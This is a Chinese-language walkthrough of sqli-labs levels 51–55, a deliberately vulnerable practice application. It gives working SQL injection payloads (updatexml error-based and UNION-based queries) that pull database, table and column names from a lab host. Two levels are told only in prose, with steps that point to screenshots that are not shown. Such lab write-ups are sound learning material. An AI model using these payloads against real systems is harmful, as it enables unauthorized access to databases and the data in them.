sql-labs51-55通关攻略

第51关

一.查询数据库

1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

二.查表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --+

 三.查列

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)--+ 

第52关

一.查询数据库第一位字符

判断ascii码如下图所示，说明大于114不大于115说明第一个字符为‘s’

同上所述

.........

最终得出数据库为'security' 

二.查数据库中第一张表1的第一个字符

判断ascii码如下图所示，说明大于100不大于101说明第一个字符为‘e‘

 最终得出第一张表为’emails‘

第53关

一.查询数据库第一位字符

判断ascii码如下图所示，说明大于114不大于115说明第一个字符为‘s’

 

同上所述

.........

最终得出数据库为'security' 

二.查security数据库中第一张表的第一位字符

判断ascii码如下图所示，说明大于100不大于101说明第一个字符为‘e‘

 最终得出第一张表为’emails‘

 

第54关

一.查询数据库

http://172.16.1.126/Less-54/?id=-1%27%20union%20select%201,database(),3--+

二.查表

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

 
三.查列

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

 

第55关

一.查询数据库

?id=-1)union select 1,2,database()--+

二.查表

?id=-1)union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

 

三.查列

?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+